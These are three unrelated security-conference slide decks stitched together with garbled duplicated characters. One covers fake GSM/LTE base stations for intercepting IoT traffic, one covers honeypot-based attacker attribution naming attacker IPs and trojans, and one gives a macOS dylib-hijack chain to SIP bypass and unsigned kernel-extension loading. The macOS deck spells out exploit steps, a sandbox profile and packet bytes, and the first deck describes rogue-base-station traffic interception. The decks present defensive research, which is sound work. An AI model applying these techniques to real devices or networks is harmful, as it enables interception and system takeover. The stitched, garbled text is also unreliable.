反间谍计划: ⾃自建基站与数据嗅探⽅方法论 百度安全实验室 ⼩小灰灰 关于我 百度安全实验室 ⾼高级安全研究员 研究领域:IoT安全/AI安全/⽆无⼈人⻋车 安全 多次破解硬件设备 之前负责: •  BSRC、应急处置、0day分析 •  百度产品 安全评估 •  百度安全监控体系建设 ⼤大纲 •  联⽹网IOT设备测试⽬目的、测试⽅方法 •  如何实现⾃自动附着、MITM流量量 •  如何搭建LTE测试基站 •  漏漏洞洞实例例介绍 •  其他测试⽅方法 ⽬目的及守则 •  ⽬目的: –  了了解GSM的安全⻛风险 –  通过搭建测试基站,辅助IOT设备安全漏漏 洞洞挖掘 –  增强产品安全性 •  测试守则: –  严格遵守相关法律律,不不影响正常信道通信 •  屏蔽器器中/封闭地下室操作 •  如实在条件限制,需调低功率/衰减器器直连 测试⽬目的 •  控制流量量 –  获取流量量(敏敏感数据、接⼝口分析、固件分析、远控&升 级分析) –  修改流量量(MITM中间⼈人、DNS欺骗) –  访问(运营商侧interface访问设备 存在漏漏洞洞的端⼝口) •  控制短信 –  短信下发指令(场景很少) 漏漏洞洞挖掘⽅方法 •  获取云端接⼝口 –  攻击云端web漏漏洞洞(注⼊入、升级FTP) –  client重放、越权 •  获取通讯数据 –  辅助理理解流程 –  加密信道:辅助分析获取加密密钥,获得加解密能⼒力力 –  获取密码、token、session等关键key –  获取固件更更新链接 •  修改数据 –  修改配置参数、替换固件 –  注⼊入恶意代码,例例如浏览器器RCE •  访问监听端⼝口 –  ⾃自身提供管理理服务,例例如telnet、adb、ssh –  分析监听bin,协议模拟/命令注⼊入/溢出攻击 •  协议、基带Fuzz 有时是攻击前 有时在攻击中 两种测试基站需求场景 •  攻击前 –  不不需要任意client⾃自动连⼊入我们的攻击基站 –  只需要⽬目标client能够连⼊入 –  实现: 搭建GSM和LTE测试基站,特殊sim卡写卡实现认证 •  攻击中 –  需要任意client⾃自动从现⽹网切换到我们的攻击基站 –  GSM⽹网络存在认证问题,可能实现 –  实现:搭建GSM攻击基站,通过强制⼩小区重选 连接到攻击 基站 我们先来实现难的-攻击中基站 •  ⾃自动连⼊入攻击基站,并且控制流量量 •  看下腾讯KEEN LAB 攻击宝⻢马⻋车机系统的case G -- Generation •  1G 模拟信号 ⼤大哥⼤大 •  2G GSM/CDMA •  3G 3GPP WCDMA/CDMA2000 •  4G LTE •  5G ⾼高速率 低延迟 切⽚片 万物互联 时代进步 -- > 技术升级 •  部分标准在设计之初没有考虑安全问题 –  模拟已经不不存在,不不考虑 –  GSM存在问题,但部分地区已退⽹网不不⽀支持2G •  问题已解决? •  No –  所有⼿手机都⽀支持2G –  ⼤大部分物联⽹网设备通讯模块都⼯工作在2G下(不不要求⾼高速数据) GSM安全问题 •  2G GSM⽹网络,在设计之初就存在安全问题 –  单向鉴权⽽而⾮非双向,即只有⽹网络鉴定⽤用户是否合法 –  导致伪造基站的可能 伪基站应运⽽而⽣生 Just给你发了一个发送号码 和内容可以自定义的短信% 伪基站内部探究 •  收发板(SDR软件⽆无线电) •  放⼤大器器(功率) •  双⼯工器器、电源 •  外部笔记本+软件(Openbts 2.8) 通过软件模拟+收发 设备实现GSM基站 系统 伪基站都做了了什什么 •  ⽤用⼯工程机 找个弱频点,设置MCC、MNC等参数和周围⼀一样 LAC不不⼀一样 •  ⼿手机获知⼴广播消息,C1C2还很⼤大,呀!这得重选⼩小区到这个伪基站。发 现LAC变了了!这得位置更更新请求 •  ⼿手机傻乎乎的给鉴权信息,伪基站看也不不看,来者不不拒 •  ⼿手机在伪基站中,伪基站看IMSI(位置更更新时获取的),嗯,刚刚没发 过短信,发⼀一条 •  伪基站利利⽤用完⼿手机了了,然后踢掉它 •  开始其他环节(钓⻥鱼、种⻢马、洗卡、售卖) •  Just给你发了了⼀一个发送号码和内容可以⾃自定义的短信 我们需要什什么 •  不不可以滥发短信,不不需要⼤大功率,不不可以⼲干扰周 边 •  只需要实现⼩小区切换、⾃自动附着 –  实际上⽆无需测试,请遵守法律律法规 –  通过修改开源BTS,增⼤大C2 •  另外实现GPRS流量量控制 软件⽆无线电介绍 •  ⼀一种可以接收(发送)⼴广泛频率的⽆无线电信号的 设备 •  并且把模拟信号转换成数字信号 交给计算机处理理 开源GSM BTS •  软件: –  OpenBTS(难安装) –  YateBTS(基于OpenBTS代码,可视化,容易易安装) –  OpenBSC(包含BTS,代码重写,规范,庞⼤大,难安装) •  硬件: –  USRP系列列(B系列列偏频⽐比较严重) –  Bladerf x40(频率精准) •  So 我们选择YateBTS+Bladerf x40 如何实现 •  BTS中⼩小区重选参数C2⽆无法 设置或失效 –  ⼲干脆代码⾥里里写死,最⾼高值 •  基站配置参数 –  MMC、MNC需要与sim卡中⼀一 样 •  *#0011# –  获取较弱的频点 •  使⽤用⼯工程机、GSM模块at指令 •  SDR扫描⼯工具,例例如kalibrate-rtl 其他配置 •  基础配置 –  选择频段与频点 –  配置MCC、 MNC –  配置功率参数 其他配置 •  ⽹网络配置 –  关闭防⽕火墙 –  添加ip转发 –  添加iptables 策略略 其他配置 •  IMSI匹配 –  配置具有哪些IMSI的sim卡可以⼊入⽹网 最⼩小化影响 •  这套理理论已经实践过,具有攻击场景,谨慎测试 –  MCC/MNC/频点的设置会影响周边设备通讯 •  推荐做法(快速附着): –  ⽆无线信号屏蔽盒中测试 –  有wifi/有线的 地下室中测试,例例如⼩小区地库 –  重启下设备 万事具备,开始攻击 •  意义:拥有了了控制现⽹网GPRS流量量的能⼒力力 •  ⽅方法: –  开启wireshark,记录分析流量量 –  使⽤用burpsuite开启http/https代理理,替换流量量 •  替换升级服务器器 •  注⼊入浏览器器漏漏洞洞 –  直接访问ip端⼝口 •  Exp •  管理理⼯工具(ADB、telnet、ssh、私有端⼝口) 搭建LTE测试基站 •  当我们只需要获取流量量做分析,不不需要现场控制 •  简化搭建步骤 •  快速测试(例例如快速扫描端⼝口) •  LTE采⽤用双向认证,不不存在假基站 •  为了了附着到⽹网络,我们还需要解决认证问题 LTE系统介绍 •  UE、EPC、 eNodeB(ENB) •  双向认证 •  开源SDR LTE: –  OAI(过于复杂、安 装困难) –  srsLTE(安装使⽤用简 单,推荐) SDR实现LTE测试基站 •  srsLTE ENB、 EPC编译安装 •  SDR硬件选择: –  USRP B200/B210/B200 mini –  Bladerf x40 xa4 –  LimeSDR •  写卡 –  可读写空⽩白LTE sim 测试卡(仅限于测试使⽤用) –  读卡器器 配置参数 •  PLMN (MCC、MNC) •  apn •  频点(注意配置为设备⽀支持的,例例如Bind1、3、 7) •  Ip转发、路路由 •  写卡 –  IMSI Ki op/opc 如何写卡 •  根据运营商填⼊入IMSI •  填⼊入usr.csv中的KI、 OP/OPC,替换IMSI •  选择正确的算法 –  Mi or xor •  现在,可以⽤用⼿手机主动 搜索并且加⼊入⽹网络 解决⼿手动搜⽹网、漫游、apn的问题 •  每次需要点⼿手动搜⽹网,且IOT设备很多⽆无法⼿手动搜 –  配置和IMSI前5位⼀一致的PLMN,且真实存在(这个同 时会解决漫游状态问题) –  写卡配置HPLMN、EHPLMN、FPLMN等参数 •  apn不不匹配,导致⽆无法建⽴立IP链路路 •  配置为PLMN对应的apn,例例如中国联通 46001,其通⽤用apn为 3gnet Run! •  Start EPC •  Start ENB 各种带SIM卡的物联⽹网设备 两款⼿手表 信息泄露露及配置修改 Subtitle (if needed) 云端登录过程泄露密钥 云端交互过程中MITM修改配置 某共享⻋车锁 信息泄露露及解密 与云端加密传输 分析固件,获取密钥及升级协议 某⻋车载设备存在命令注⼊入 视频演示:LTE基站端⼝口访问攻击 利利⽤用运营商内⽹网 •  利利⽤用运营商内⽹网进⾏行行端⼝口间测试 –  买两张同类型的4G卡,⼤大概率会分配到⼀一个内⽹网 –  如果是私有ANP,肯定会分配到同⼀一内⽹网 –  如果实在条件限制,或者只做23、80等端⼝口访问 •  扫描⼀一台开放5555等端⼝口,从对⽅方进⾏行行访问(未授权攻击, 不不推荐) •  在可控的私有APN内⽹网中,这种⽅方法OK 视频演示:利利⽤用运营商内⽹网进⾏行行测试 其他 •  研究基带漏漏洞洞 –  Fuzz协议,调试基带 •  研究LTE 标准漏漏洞洞 –  Review、添加代码 –  实际测试 Q&A
pdf
青衣2 0 1 1 .0 8 .2 9 剑 客 世界的溯源神话 青衣2 0 1 1 .0 8 .2 9 💔 伤⼼心的鱼🐟 户实验室 程序猿🐒 渗透狗🐶 ⿊黑阔杂志编辑👨 产品经理💻 销售💰 青衣2 0 1 1 .0 8 .2 9 何为溯源? 青衣2 0 1 1 .0 8 .2 9 何为溯源?⼀一个找爹的过程 ⼀一定要给孩⼦子找到爸爸, 不能让他么有爹。 乔布斯⼤大神,完全就是《天龙⼋八部》中乔峰!都是自小没见过亲⽣生⽗父母,被平凡养 ⽗父母带⼤大。少年成名,⼀一跃登顶。然后在世⼈人瞩目中,众叛亲离,含恨隐去……再 然后,王者归来,傲凌绝顶。最终,盛年之时,颠峰乐章戛然⽽而⽌止,留给世界⼀一片 惊愕。他俩共用⼀一个称谓:乔帮主! 溯源⿊黑客的攻击过程,就像⼀一个给孩⼦子找爹的过程! 青衣2 0 1 1 .0 8 .2 9 美国⼈人是如何溯源的 藏宝图计划 青衣2 0 1 1 .0 8 .2 9 6 溯源能做神马? 青衣2 0 1 1 .0 8 .2 9 7 溯源能做神马? Where why •攻击⼿手段分析 •⿊黑客⼯工具分析 •攻击者身份、个⼈人信息 •⽹网络指纹 •安全事件轨迹 •攻击者历史轨迹 who 青衣2 0 1 1 .0 8 .2 9 我们如何溯源? 青衣2 0 1 1 .0 8 .2 9 9 我们如何溯源? 青衣2 0 1 1 .0 8 .2 9 10 我们如何溯源? 青衣2 0 1 1 .0 8 .2 9 11 我们如何溯源? 青衣2 0 1 1 .0 8 .2 9 12 我们如何溯源? 青衣2 0 1 1 .0 8 .2 9 蜜罐🍯 青衣2 0 1 1 .0 8 .2 9 hack数据 14 青衣2 0 1 1 .0 8 .2 9 目前捕获的总数据量:IP:20104、URL:  969  、用户名:28387、密码:869544、软件及版本:188 日增量:IP:398、URL:15、用户名:2785、密码:16149、软件及版本:23 蜜罐搜集到的信息 青衣2 0 1 1 .0 8 .2 9 16 蜜罐搜集到的信息 青衣2 0 1 1 .0 8 .2 9 17 青衣2 0 1 1 .0 8 .2 9 18 这些信息咋用? 密罐----攻击来源------自动⼊入库-----程序提取地址并解析倒⼊入nmap自动扫描——根 据namp扫描结果调用不同程序进⾏行检测。 青衣2 0 1 1 .0 8 .2 9 19 终于有卵用了 X.220.187.X  -­-­-­-­ 这服务器太屌 ⼀一不小⼼心就摘了桃⼦子...  才3100个⾁肉机⽽而已。 青衣2 0 1 1 .0 8 .2 9 20 终于有卵用了 青衣2 0 1 1 .0 8 .2 9 21 这B到底在这⼲干什么? • 扫描mfu—自动探测弱⼝口令—搜集⼊入库 • 运⾏行了screen脚本,然后出现⼀一句话“Toata dragostea mea pentru diavola” ⼀一直在对开放SSH的服务器进⾏行爆破 青衣2 0 1 1 .0 8 .2 9 22 relaxscan暴力破解SSH,百度一下, 你全知道。 这B到底在这⼲干什么? 青衣2 0 1 1 .0 8 .2 9 23 你敢动我就把你老窝端了 青衣2 0 1 1 .0 8 .2 9 24 监测到的后门程序 该后门存在于www.gzs.gov.cn上,被检测 到的时间上2015年8月6日00:25分,⿊黑客 访问过3次。 青衣2 0 1 1 .0 8 .2 9 25 00:25分到00:13分来自美国的 IP为199.30.18.212 的⿊黑客通过⽊木马对⽹网站进⾏行了操作,具体操作可以 通过溯源系统的返回包来查看。 青衣2 0 1 1 .0 8 .2 9 来就来了还你妹的拿东西 内⽹网IP:192.168.0.163 在2015.06.07.15:23频繁请求107.151.222.17:1250 ⼀一分钟内频繁请求msmm.exe此可疑⽂文件 32次 26 青衣2 0 1 1 .0 8 .2 9 27 青衣2 0 1 1 .0 8 .2 9 28 恶意IP1: msmm.exe 可能是远控⽊木马,107.151.222.17为美国服务器,非常可能机 ⼦子是专业的上线服务器,并且有可能潜伏较久,(⽊木马运⾏行时间为: 2015.06.07 15:23,下载32次) 美国队长! 青衣2 0 1 1 .0 8 .2 9 29 恶意IP2: 发现此gy.exe是⼀一款下载者程序,并且下载服务器同样为美国,同时下 载者执⾏行后,会再次连接到美国服务器的1996端⼝口,很可能是更新列 表,或者上线端⼝口。(下载者运⾏行时间为2015.06.06 11:43 下载两次) 美国队长! 青衣2 0 1 1 .0 8 .2 9 30 你敢来犯,就把你⽼老窝端了 青衣2 0 1 1 .0 8 .2 9 攻击⼿手法分析 ⾁肉鸡数据分析 反⼊入侵调查 ⿊黑 客 老 巢 ⼀一 日 游 青衣2 0 1 1 .0 8 .2 9 32 平台于2015年1月7号左右搭建⾄至2015年5月6号, 搜集以上数据 青衣2 0 1 1 .0 8 .2 9 5 2 ftpBrute攻击为主 青衣2 0 1 1 .0 8 .2 9 ftpBrute攻击部分代码 青衣2 0 1 1 .0 8 .2 9 35 ftpBrute攻击流程 是否登录 ftpBrute 客户端返回 成功信息 服务端验 证参数 攻击程序 入库 平台 青衣2 0 1 1 .0 8 .2 9 ⾁肉鸡数据分析—地域分布 青衣2 0 1 1 .0 8 .2 9 1391例识别CMS类型分布 ⾁肉鸡数据分析—地域分布 青衣2 0 1 1 .0 8 .2 9 ⾁肉鸡数据分析—WEB容器类型 青衣2 0 1 1 .0 8 .2 9 39 何为 溯 源? 我们 怎样 溯 源? hack 数据 来源 这些 信息 怎么 用? 美国 队长 暴露 老巢 ⼀一日 游 攻击 ⼿手法 分析 ⾁肉鸡 数据 分析 反⼊入 侵调 查 溯源 靠⼭山 幕后⼤大杂烩 青衣2 0 1 1 .0 8 .2 9 谢谢!
pdf
macOS 从运行库劫持到内核提权 周智 About • Senior Security Engineer of AntFinancial (Alipay) LightYear Security Labs • Product security and offensive security research • Acknowledged by Microsoft, Apple, Adobe and VMware for reporting security vulnerabilities • Conference speaking: • BlackHat USA 2017 • HITB 2019 • TyphoonCon 2019 PART 01 Attack Surface CONTENTS PART 02 Root Cause PART 03 Exploit PART 04 Mitigation 01 02 03 04 Why kernel exploit • To overcome or disable System Integrity Protection (Rootless) • File system protection (/System) • Attaching to Apple-signed processes • Enforced signature validation for KEXT • Deploy Rootkits • Gain more pwn points Motivation • General approach • attack kernel mode driver or XNU to control $pc, then disable SIP in kernel mode • Think outside the box • Is memory corruption always necessary? • Do the target have be the kernel itself or kernel mode drivers? • What about user space SIP bypass to gain kernel privilege? PART 01 An Attack Surface patch kextd (@osxreverser, Nov 2013) Custom build of kextload (@patrickwardle, BlackHat US 2015) Old days with kext_tools • Issue 676: Logic error when exec-ing suid binaries allows code execution as root on OS X/iOS (CVE-2015-3708) • Issue 353: OS X kextd bad path checking and toctou allow a regular user to load an unsigned kernel extension (CVE-2015-3709) • Issue 1520: MacOS double mach_port_deallocate in kextd due to failure to comply with MIG ownership rules (CVE-2018-4139) • Issue 676: Logic error when exec-ing suid binaries allows code execution as root on OS X/iOS (CVE-2015-3708) User mode only, logic • Issue 353: OS X kextd bad path checking and toctou allow a regular user to load an unsigned kernel extension (CVE-2015-3709) User mode only, logic • Issue 1520: MacOS double mach_port_deallocate in kextd due to failure to comply with MIG ownership rules (CVE-2018-4139) User mode only, MIG lifetime Arbitrary code execution in kextd == kernel code execution kextload kextd XNU Doesn’t matter What makes kextd so special • Its entitlement • A bundle resource containing key-value pairs that grant the executable permission to use an app service or technology • A property list (XML serialized) embedded in executable’s code signature • Some entitlements are for Apple signed binaries only • “taskgated: killed app because its use of the com.apple.*** entitlement is not allowed” ➜ ~ jtool --ent /usr/libexec/kextd -arch x86_64 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.private.KextAudit.user-access</key> <true/> <key>com.apple.private.allow-bless</key> <true/> <key>com.apple.private.kernel.get-kext-info</key> <true/> <key>com.apple.rootless.kext-secure-management</key> <true/> <key>com.apple.rootless.storage.KernelExtensionManagement</key> <true/> <key>com.apple.security.cs.allow-unsigned-executable-memory</key> <true/> </dict> </plist> • Entitled to call kext_request • Permission to write /Library/StagedExtensions Checks by kextd / kextload / kextutil • Implemented in function authenticateKext of kext_tools • Check bundle permission, must be owned by root and not writable by other groups • Check bundle signature: must be signed • During the loading process, the bundle must be staged to a rootless protected location: /Library/StagedExtensions (requires com.apple.rootless.storage.KernelExtensionManagement entitlement) • Invoke syspolicyd to ask user for approval to load a valid signed third party extension (User-Approved Kernel Extension Loading or SKEL) • If SIP is disabled, some of the checks will be skipped Secure Kernel Extension Loading • Even a valid signed kernel extension still requires user approve to load • Managed by user space daemon syspolicyd, not XNU • Rules stored in a SQLite database • The database is protected by rootless, even root permission is insufficient to modify ➜ ~ sudo file /var/db/SystemPolicyConfiguration/KextPolicy /var/db/SystemPolicyConfiguration/ExecPolicy: SQLite 3.x database, last written using SQLite version 3024000 ➜ ~ sudo xattr /var/db/SystemPolicyConfiguration/ com.apple.rootless ➜ ~ sudo sqlite3 /var/db/SystemPolicyConfiguration/KextPolicy SQLite version 3.24.0 2018-06-04 14:10:15 Enter ".help" for usage hints. sqlite> .tables kext_load_history_v3 kext_policy_mdm kext_policy settings sqlite> .header on sqlite> select * from kext_policy; team_id|bundle_id|allowed|developer_name|flags 9PTGMPNXZ2|com.symantec.kext.SymAPComm|1|Symantec|8 9PTGMPNXZ2|com.symantec.kext.ndcengine|1|Symantec|8 9PTGMPNXZ2|com.symantec.kext.internetSecurity|1|Symantec|8 9PTGMPNXZ2|com.symantec.kext.ips|1|Symantec|8 Z3L495V9L4|com.intel.kext.intelhaxm|1|Intel Corporation Apps|1 VB5E2TV963|org.virtualbox.kext.VBoxDrv|1|Oracle America, Inc.|1 @interface KextManagerPolicy : NSObject - (BOOL)canLoadKernelExtensionAtURL:(id)url isCacheLoad:(BOOL)cache; @end @interface SPKernelExtensionPolicy : NSObject - (char) canLoadKernelExtension:(id)ext error:(NSError *)err; - (char) canLoadKernelExtensionInCache:(id)ext error:(NSError *)err; @end kextd syspolicyd XPC Prompt / Reject / Pass based on SQLite database rules SKEL bypass • To bypass, pick any one of the following • Code execution on a rootless entitled process, modify the KextPolicy database • Get the task port of syspolicyd, patch -[KextManagerPolicy canLoadKernelExtensionAtURL:isCacheLoad:] • Get the task port of kextd, patch -[SPKernelExtensionPolicy canLoadKernelExtensionInCache:error] A logic kernel attack surface • Neither the signature nor file permission is checked by kernel • It accepts kext_request as long as the user space process has com.apple.rootless.kext-secure-management entitlement • User space process kextd / kextutil / kextload are responsible to perform the signature and other validation • Once you own the entitlement, you rule the kernel • Or you can try to obtain a task port for those entitled process (which are still protected by SIP) PART 02 Hijack the Entitlement DLL Hijack on Windows • Trick the target application to load malicious library • Abuse DLL search order • Abuse runtime (LoadLibrary) • … • DLL hijacking on trusted application to bypass UAC prompt • Is there anything similar on macOS? Dylib Hijacking • Use dylib hijacking to steal entitlement from Apple signed binaries • Known techniques • LC_LOAD_WEAK_DYLIB and relative @rpath https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x • dlopen • NSBundle.principalClass (dlopen internally) • CFBundleLoadExecutable (dlopen internally) • CFBundleLoadExecutableAndReturnError (dlopen internally) VM Regions Near 0xdeadbf57: --> __TEXT 0000000108b04000-0000000108b05000 [ 4K] r-x/rwx SM=COW /tmp/* Application Specific Information: dyld2 mode Thread 0 Crashed:: Dispatch queue: com.apple.main-thread 0 libsystem_c.dylib 0x00007fff5da2859c flockfile + 18 1 libsystem_c.dylib 0x00007fff5da2b570 fwrite + 66 2 test 0x0000000108b04f82 main + 82 3 libdyld.dylib 0x00007fff5d9a43d5 start + 1 Thread 0 crashed with X86 Thread State (64-bit): rax: 0x00000001171ee66c rbx: 0x00000000deadbeef rcx: 0x00000001171ee66c rdx: 0x0000000000000001 Symbolication The bug • The CoreSymbolication framework provides private APIs for symbolicating and other diagnostic information (/System/Library/PrivateFrameworks/CoreSymbolication.framework) • Under certain circumstances it will try to load a dynamic library from a controllable path • When trying to demangle Swift symbols: • CoreSymbolication!call_external_demangle(char const*) • More specifically, it will try to load a Swift runtime library, libswiftDemangle.dylib handle = _dlopen("/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib",1); if (((handle == 0) && ((len = get_path_relative_to_framework_contents("../../Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib", alternative_path,0x400), len == 0 || (handle = _dlopen(alternative_path,1), handle == 0)))) && ((len2 = get_path_relative_to_framework_contents("../../usr/lib/libswiftDemangle.dylib",alternative_path,0x400), len2 == 0 || (handle = _dlopen(alternative_path,1), handle == 0)))) { handle_xcselect = _dlopen("/usr/lib/libxcselect.dylib",1); if (handle_xcselect == 0) goto cleanup; p_get_dev_dir_path = (undefined *)_dlsym(handle_xcselect,"xcselect_get_developer_dir_path"); if ((p_get_dev_dir_path == (undefined *)0x0) || (cVar2 = (*(code *)p_get_dev_dir_path)(alternative_path,0x400,&local_42b,&local_42a,&local_429), cVar2 == 0)) { handle = 0; } else { _strlcat(alternative_path, "/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib", 0x400); handle = _dlopen(alternative_path,1); } _dlclose(handle_xcselect); if (handle == 0) goto cleanup; } __ZL25demanglerLibraryFunctions.0 = _dlsym(handle,"swift_demangle_getSimplifiedDemangledName"); insecure dlopen (dylib hijack) 00001287 lea rdi,[s_DEVELOPER_DIR_000025b9] ; = "DEVELOPER_DIR" 0000128e call __stubs::_getenv ; char * _getenv(char * param_1) 00001293 mov r14,rAX 00001296 test r14,r14 00001299 jz env_not_set 0000129b mov r13,rbx 0000129e mov rdi,r14 000012a1 mov rsi,r12 000012a4 mov ebx,dword ptr [local_440 + rbp] 000012aa mov edx,ebx 000012ac mov rcx,r15 000012af call _xcselect_find_developer_contents_from_path ; undefined _xcselect_find_develop 000012b4 test found,found 000012b6 jz LAB_000013a6 000012bc mov rdi,r12 000012bf mov rsi,r14 000012c2 call __stubs::_strcmp ; int _strcmp(char * param_1, char 000012c7 test found,found 000012c9 jz LAB_000013bb 000012cf lea rdi,[s_DEVELOPER_DIR_000025b9] ; = "DEVELOPER_DIR" 000012d6 mov edx,0x1 000012db mov rsi,r12 000012de call __stubs::_setenv ; int _setenv(char * param_1, char xcselect.dylib!xcselect_get_developer_dir_path Trigging the bug • This file /System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib actually exists on High Sierra • To force it to load our payload, apply a custom sandbox profile before spawning the entitled binary • 以子之盾 攻子之盾 (version 1) (allow default) (deny file-read* (literal "/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib") (literal "/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib") (literal "/usr/lib/libswiftDemangle.dylib") ) Find an entitled host • The binary must • have special entitlement that we need • have at least one code path to trigger dylib hijacking • A magical entitlement com.apple.system-task-ports, with whom the process can attach to any other processes (even those restricted), and gain arbitrary entitlement com.apple.SamplingTools ➜ ~ ls /usr/bin/{filtercalltree,heap32,stringdups32,leaks32,heap,atos,vmmap32,sample,malloc_history32,symbols,vmmap ,leaks,stringdups,malloc_history} /usr/bin/atos /usr/bin/leaks32 /usr/bin/stringdups32 /usr/bin/filtercalltree /usr/bin/malloc_history /usr/bin/symbols /usr/bin/heap /usr/bin/malloc_history32 /usr/bin/vmmap /usr/bin/heap32 /usr/bin/sample /usr/bin/vmmap32 /usr/bin/leaks /usr/bin/stringdups ➜ ~ vmmap Finder Process: Finder [245] Path: /System/Library/CoreServices/Finder.app/Contents/MacOS/Finder Load Address: 0x107205000 Identifier: com.apple.finder com.apple.SamplingTools • There are several graphical applications and command-line tools available for gathering performance metrics. https://developer.apple.com/library/archive/documentation/Performance/C onceptual/PerformanceOverview/PerformanceTools/PerformanceTools.html • SIP exception, entitled to debug any process, including restricted ➜ ~ jtool --ent `which vmmap` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.system-task-ports</key> <true/> </dict> </plist> Scenario • Function task_for_pid requires same euid, so we can not inject a privileged process for escalation • A root process is still restricted because of System Integrity Protection • Inject com.apple.rootless.* entitled processes to bypass rootless • For example, com.apple.rootless.install.heritable entitlement can access restricted files, and the entitlement is inherited by its child processes Triggering the bug • Target app is written in Swift • Use symbols to inspect the target app • Use -printDemangling flag to trigger dylib hijack • symbols [pid] -printDemangling 12 libdyld.dylib 0x00007fff5178ad86 dlopen + 86 13 com.apple.CoreSymbolication 0x00007fff3d800332 invocation function for block in call_external_demangle(char const*) + 348 14 libdispatch.dylib 0x00007fff5174fe08 _dispatch_client_callout + 8 15 libdispatch.dylib 0x00007fff5174fdbb dispatch_once_f + 41 16 com.apple.CoreSymbolication 0x00007fff3d7a380f demangle + 298 17 com.apple.CoreSymbolication 0x00007fff3d7a35e3 TRawSymbol<Pointer64>::name() + 75 18 com.apple.CoreSymbolication 0x00007fff3d7a888e CSSymbolGetName + 166 19 symbols 0x000000010ffc386a 0x10ffb7000 + 51306 20 symbols 0x000000010ffc3cbe 0x10ffb7000 + 52414 21 com.apple.CoreSymbolication 0x00007fff3d7eba37 TRawSymbolOwnerData<Pointer64>::symbols_in_address_range(CSCppSymbolOwner*, TRange<Pointer64>, void (_CSTypeRef) block_pointer) + 127 22 symbols 0x000000010ffc3c8e 0x10ffb7000 + 52366 23 com.apple.CoreSymbolication 0x00007fff3d7eb890 TRawSymbolOwnerData<Pointer64>::regions_in_address_range(CSCppSymbolOwner*, TRange<Pointer64>, void (_CSTypeRef) block_pointer) + 124 24 symbols 0x000000010ffc3b6f 0x10ffb7000 + 52079 25 com.apple.CoreSymbolication 0x00007fff3d7c6c6a CSSymbolOwnerForeachSegment + 92 26 symbols 0x000000010ffc3af2 0x10ffb7000 + 51954 27 com.apple.CoreSymbolication 0x00007fff3d7adbee CSSymbolicatorForeachSymbolOwnerAtTime + 95 28 symbols 0x000000010ffc25b1 0x10ffb7000 + 46513 29 symbols 0x000000010ffc00ee 0x10ffb7000 + 37102 Problem: Library Validation • Library Validation is a protection that prohibits a process to load dynamic libraries without a digital signature issued by same team id • SamplingTools on High Sierra are signed with Library Validation flag, which prohibits loading modules that are not signed by Apple System Integrity Protection: enabled Crashed Thread: 0 Dispatch queue: com.apple.main-thread Exception Type: EXC_BAD_ACCESS (Code Signature Invalid) Exception Codes: 0x0000000000000032, 0x000000010d745000 Exception Note: EXC_CORPSE_NOTIFY Termination Reason: Namespace CODESIGNING, Code 0x2 kernel messages: External Modification Warnings: Process used task_for_pid(). VM Regions Near 0x10d745000: MALLOC_LARGE 000000010d70a000-000000010d745000 [ 236K] rw-/rwx SM=PRV --> mapped file 000000010d745000-000000010d746000 [ 4K] r-x/r-x SM=PRV Object_id=2929ab85 mapped file 000000010d748000-000000010d762000 [ 104K] r--/r-- SM=ALI Object_id=2af85085 Application Specific Information: dyld: in dlopen() /var/folders/4d/1_vz_55x0mn_w1cyjwr9w42c0000gn/T/tmp.0b5SeUjh/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib 12 libdyld.dylib 0x00007fff66c9fd86 dlopen + 86 13 com.apple.CoreSymbolication 0x00007fff52d15332 invocation function for block in call_external_demangle(char const*) + 348 14 libdispatch.dylib 0x00007fff66c64e08 _dispatch_client_callout + 8 15 libdispatch.dylib 0x00007fff66c64dbb dispatch_once_f + 41 16 com.apple.CoreSymbolication 0x00007fff52cb880f demangle + 298 17 com.apple.CoreSymbolication 0x00007fff52cb85e3 TRawSymbol<Pointer64>::name() + 75 18 com.apple.CoreSymbolication 0x00007fff52cbd88e CSSymbolGetName + 166 “I’m old, not obsolete” High Sierra El Capitan ➜ bin codesign -dvvv symbols Identifier=com.apple.SamplingTools Format=Mach-O thin (x86_64) CodeDirectory v=20100 size=812 flags=0x0(none) hashes=32+5 location=embedded Platform identifier=1 Hash type=sha1 size=20 ➜ bin codesign -dvvv symbols Identifier=com.apple.SamplingTools Format=Mach-O thin (x86_64) CodeDirectory v=20100 size=1384 flags=0x2000(library-validation) hashes=36+5 location=embedded Platform identifier=4 Hash type=sha256 size=32 An old binary grabbed from previous OS X does not have this flag! Exploit • Craft the Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib • Invoke sandbox_init_with_parameters to drop access to the legit swift libraries • Set the DEVELOPER_DIR environment variable to redirect access to our payload • Copy the symbols binary from El Capitan and spawn the process • Payload libswiftDemangle.dylib will be loaded in to the entitled process, who can task_for_pid for restricted processes and obtain arbitrary entitlement rootless SIP bypass Protected Resources Entitled Process Other Processes sandbox Sampling Tools Evil dylib Legit dylib attach PART 03 To the Kernel Rule the Kernel • Kickstart mach service com.apple.KernelExtensionServer (/usr/libexec/kextd) • Get the task port to hijack the entitlements of kextd • Since kextd is not library validation protected, just use the old school dylib injection • Directly ask kernel to load the extension • Plan A: Use kext_request to send a manually crafted MKEXT packet • Plan B: Patch the user space checks, then call IOKit!OSKextLoadWithOptions to compose the packet Kernel Code Execution without actually touching XNU XNU kextd kernel userspace Other Processes sandbox Sampling Tools Evil dylib Legit dylib kext_request attach 💥 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 4d 4b 58 54 4d 4f 53 58 00 01 96 61 12 d4 f8 fe MKXTMOSX...a.... 00000010 02 00 20 01 00 00 00 01 01 00 00 07 00 00 00 03 .. ............. 00000020 00 01 8e a4 00 00 00 00 00 00 07 bd 00 00 00 00 ................ 00000030 00 01 8e 70 cf fa ed fe 07 00 00 01 03 00 00 00 ...p............ 